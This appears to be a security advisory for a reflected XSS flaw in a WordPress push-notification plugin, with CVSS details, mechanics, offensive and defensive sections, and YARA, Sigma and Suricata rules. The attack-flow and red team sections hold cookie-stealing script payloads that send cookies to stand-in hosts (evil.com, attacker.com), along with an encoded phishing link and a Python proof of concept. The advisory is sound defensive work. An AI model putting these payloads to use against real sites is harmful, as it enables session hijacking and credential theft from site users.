CVE-2025-31548

Executive Summary

CVE-2025-31548 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Ultimate Push Notifications by CodeSolz, affecting versions up to and including 1.2.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or redirection to malicious sites. The CVSS v3.1 base score is 7.1 (High), with a vector emphasizing network-based, low-complexity attacks that require user interaction. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site running the plugin inherits the flaw. Administrators should verify plugin integrity via checksums and monitor for malicious updates if the vendor remains unresponsive.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated exploitation.
• User Interaction: Required (UI:R) – victim must click a crafted link.
• Scope: Changed (S:C) – injected script can affect other resources.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: Low (A:L) – limited disruption.

Threat Level: High. The lack of a patch and the plugin’s active install base (estimated thousands) make this a prime target for phishing campaigns and drive-by attacks.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s handling of URL parameters or POST data that are reflected back into the page without proper sanitization or encoding. In a typical reflected XSS scenario, an attacker crafts a malicious URL containing JavaScript payloads in a query parameter (e.g., ?msg=<script>alert(1)</script>). When the plugin processes this input and outputs it directly into the HTML response (e.g., in an error message or notification), the browser executes the injected script.

The root cause is the use of functions like echo $_GET['param'] or print_r($_REQUEST) without applying WordPress’s esc_html() or wp_kses() filters. The plugin likely fails to call esc_url() or esc_attr() on reflected data, leaving the door open for script injection.

Attack Flow:

1. Attacker identifies a vulnerable parameter (e.g., msg, error, redirect_to).
2. Attacker crafts a URL: https://victim-site.com/?msg=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>.
3. Victim clicks the link (e.g., via phishing email).
4. The plugin reflects the msg parameter into the page without sanitization.
5. The browser executes the script, sending the victim’s cookies to the attacker.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

<?php
// In some plugin file, e.g., ultimate-push-notifications.php
$message = $_GET['msg'];
echo "<div class='notification'>$message</div>";
?>

Patched Code (Hypothetical):

<?php
$message = isset($_GET['msg']) ? esc_html($_GET['msg']) : '';
echo "<div class='notification'>" . esc_html($message) . "</div>";
?>

The patched version uses esc_html() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Ultimate Push Notifications <= 1.2.0 installed and activated.
• A web server to host the exploit (or use a public request bin).

Exploit Steps:

1. Identify a vulnerable parameter. Common candidates: msg, error, status, redirect.
2. Craft a payload:

   <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
   

3. URL-encode the payload and embed it in a link:

   https://victim-site.com/?msg=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Send the link to the victim via email or social engineering.

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://victim-site.com/"
payload = "<script>alert('XSS')</script>"
params = {'msg': payload}
r = requests.get(target, params=params)
if payload in r.text:
    print("[+] Reflected XSS confirmed")
else:
    print("[-] Not vulnerable")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script>, onerror=, javascript: in query parameters.
• Use WAF rules to block reflected XSS patterns (see Detection Engineering).

Hunting:

• Search for plugin files containing $_GET, $_POST, $_REQUEST without sanitization functions like esc_html(), esc_attr(), or wp_kses().
• Check for any custom AJAX handlers that echo user input.

Containment:

• Immediately deactivate the plugin if no patch is available.
• Implement a virtual patch via WAF (e.g., ModSecurity rule to block msg parameter containing <script>).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to known malicious domains containing cookie data in the URL.
  • Suspicious referrer headers from the victim site to attacker-controlled servers.
• File IOCs:
  • Plugin file: wp-content/plugins/ultimate-push-notifications/ultimate-push-notifications.php (or similar).
  • Look for lines containing echo $_GET or print_r($_REQUEST) without sanitization.
• Log IOCs:
  • Web server access logs with entries like:

    GET /?msg=%3Cscript%3E...%3C/script%3E HTTP/1.1
    

  • Error logs showing PHP warnings about undefined array keys (if the plugin uses $_GET without isset()).

Detection Engineering

YARA Rule

rule CVE_2025_31548_Reflected_XSS {
    meta:
        description = "Detects vulnerable Ultimate Push Notifications plugin files"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2025-31548"
    strings:
        $s1 = /echo\s+\$_(GET|POST|REQUEST)\[/
        $s2 = /print_r\(\$_(GET|POST|REQUEST)/
        $s3 = /(echo|print)\s+\$_(GET|POST|REQUEST)/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Ultimate Push Notifications
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts targeting the Ultimate Push Notifications plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'msg=<script'
            - 'error=<script'
            - 'status=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameters (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-31548 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"msg="; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Deactivate the plugin until a patch is released.
2. Implement a WAF rule to block reflected XSS patterns in query parameters (e.g., block msg, error, status parameters containing <script>).
3. Educate users not to click suspicious links.

Long-Term Fix:

• The vendor must release an update that sanitizes all user inputs using esc_html(), esc_attr(), or wp_kses().
• Alternatively, replace the plugin with a maintained alternative.

Workaround:

• Add the following to .htaccess (Apache) to block malicious requests:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (msg|error|status)=.*<script [NC]
  RewriteRule .* - [F,L]
  

Valters IT
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